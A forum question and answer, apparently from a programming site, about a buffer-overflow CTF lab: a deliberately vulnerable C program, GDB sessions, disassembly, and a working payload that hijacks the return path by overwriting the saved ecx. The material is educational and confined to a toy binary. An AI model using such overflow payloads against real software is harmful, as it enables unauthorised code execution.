pythoncassembly

How to locate and overwrite EIP in a buffer overflow lab using GDB 14.2?


I have the following code as part of a buffer overflow CTF challenge:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int my_gets(char *buf) {
    int i = 0;
    char c;
    while (read(0, &c, 1) > 0 && c != '\n') {
        buf[i++] = c;
    }
    buf[i] = '\0';
    return i;
}

int main() {
    int cookie;
    char buf[16];

    printf("&buf: %p, &cookie: %p\n", buf, &cookie);
    my_gets(buf);

    if (cookie == 0x000D0A00) {
        printf("%s","You win!\n");
    }
return 0;
}

. Normally, the goal is to overwrite the cookie variable to reach the value 0x000D0A00, but this value contains special characters that make direct injection difficult. So instead, my goal is to jump directly to address 0x08049232 in order to print "You win!" without needing to modify the cookie.

I started by injecting 16 'A' characters to figure out the stack frame layout.. I compiled it using:

gcc -m32 -z execstack -fno-stack-protector -no-pie -o stack4 stack4.c
(gdb) break *0x08049232
Breakpoint 1 at 0x8049232
(gdb) run < <(python3 -c 'print("A"*16)')
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc

Breakpoint 1, 0x08049232 in main ()
(gdb) x/wc $ebp+4
0xffffcfcc:     67 'C'
(gdb) x/wx $ebp+4
0xffffcfcc:     0xf7d8bd43
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
 eip = 0x8049232 in main; saved eip = 0xf7d8bd43
 Arglist at 0xffffcfc8, args: 
 Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
 Saved registers:
  ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb) 

.Based on that, I crafted a payload to overwrite the value at ebp+4, since I assumed that’s where the saved return address (EIP) is stored. I intentionally avoided touching $ebp, $ebp-4, and $ebp-8 because I wasn’t sure what they were used for.

Here’s the payload I tried:

(gdb) run < <(python -c 'import sys; sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc

Breakpoint 1, 0x08049232 in main ()
(gdb) x/wx $ebp+4
0xffffcfcc:     0x08049239
(gdb) x/wx $ebp
0xffffcfc8:     0x00000000
(gdb) x/wx $ebp-4
0xffffcfc4:     0xf7f9ce14
(gdb) x/wx $ebp-8
0xffffcfc0:     0xffffcfe0
(gdb) x/wx $ebp-12
0xffffcfbc:     0x41414141
(gdb) x/wx $ebp-28
0xffffcfac:     0x41414141
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
 eip = 0x8049232 in main; saved eip = 0xf7d8bd43
 Arglist at 0xffffcfc8, args: 
 Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
 Saved registers:
  ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb) 

disas mian:

(gdb) disas main
Dump of assembler code for function main:
   0x080491e9 <+0>:     lea    0x4(%esp),%ecx
   0x080491ed <+4>:     and    $0xfffffff0,%esp
   0x080491f0 <+7>:     push   -0x4(%ecx)
   0x080491f3 <+10>:    push   %ebp
   0x080491f4 <+11>:    mov    %esp,%ebp
   0x080491f6 <+13>:    push   %ebx
   0x080491f7 <+14>:    push   %ecx
   0x080491f8 <+15>:    sub    $0x20,%esp
   0x080491fb <+18>:    call   0x80490c0 <__x86.get_pc_thunk.bx>
   0x08049200 <+23>:    add    $0x2df4,%ebx
   0x08049206 <+29>:    sub    $0x4,%esp
   0x08049209 <+32>:    lea    -0xc(%ebp),%eax
   0x0804920c <+35>:    push   %eax
   0x0804920d <+36>:    lea    -0x1c(%ebp),%eax
   0x08049210 <+39>:    push   %eax
   0x08049211 <+40>:    lea    -0x1fec(%ebx),%eax
   0x08049217 <+46>:    push   %eax
   0x08049218 <+47>:    call   0x8049050 <printf@plt>
   0x0804921d <+52>:    add    $0x10,%esp
   0x08049220 <+55>:    sub    $0xc,%esp
   0x08049223 <+58>:    lea    -0x1c(%ebp),%eax
   0x08049226 <+61>:    push   %eax
   0x08049227 <+62>:    call   0x8049186 <my_gets>
   0x0804922c <+67>:    add    $0x10,%esp
   0x0804922f <+70>:    mov    -0xc(%ebp),%eax
   0x08049232 <+73>:    cmp    $0xd0a00,%eax
   0x08049237 <+78>:    jne    0x804924b <main+98>
   0x08049239 <+80>:    sub    $0xc,%esp
   0x0804923c <+83>:    lea    -0x1fd5(%ebx),%eax
   0x08049242 <+89>:    push   %eax
   0x08049243 <+90>:    call   0x8049060 <puts@plt>
   0x08049248 <+95>:    add    $0x10,%esp
   0x0804924b <+98>:    mov    $0x0,%eax
   0x08049250 <+103>:   lea    -0x8(%ebp),%esp
   0x08049253 <+106>:   pop    %ecx
   0x08049254 <+107>:   pop    %ebx
   0x08049255 <+108>:   pop    %ebp
   0x08049256 <+109>:   lea    -0x4(%ecx),%esp
   0x08049259 <+112>:   ret
End of assembler dump.
(gdb) 

However, "You win!" is not printed, and I’m unsure where I went wrong in the exploit.
Could someone help me figure out what I’m missing?


Solution

  • Your main has non-standard stack layout and epilogue:

       0x08049253 <+106>:   pop    %ecx
       0x08049254 <+107>:   pop    %ebx
       0x08049255 <+108>:   pop    %ebp
       0x08049256 <+109>:   lea    -0x4(%ecx),%esp
       0x08049259 <+112>:   ret
    

    If you simply try to overflow the buffer until you overwrite the return address you overwrite the saved ecx as well which means esp will no longer point to the location where you have written the return address. Since the code helpfully leaks the address of buf you can use that to construct a payload that sets the saved copy of ecx to point there. You will need to account for the -4 offset. For example a sample run on my system produced:

    &buf: 0xffffd9bc, &cookie: 0xffffd9cc
    

    Therefore my payload was:

    print(b"\x39\x92\x04\x08AAAAAAAAAAAAAAAA\xc0\xd9\xff\xff")
    

    First the address to jump to, then 16 bytes of padding and finally &buf + 4. This correctly jumps to the intended address. However, you have compiled with -no-pie but still have PIC enabled which uses ebx to address constants. Since ebx has also been popped from the stack it is no longer valid and will result in a crash. I don't see an obvious way to fix ebx.

    I suspect the challenge was originally meant to be standard position dependent code so consider compiling with -fno-pic.

    Note: if &buf + 4 happens to include a 0x0a byte you can just re-run it until stack randomization gives you an address that does not :) Alternatively, if the 0x0a is one of the two least significant bytes you can extend your payload until you reach the next usable address.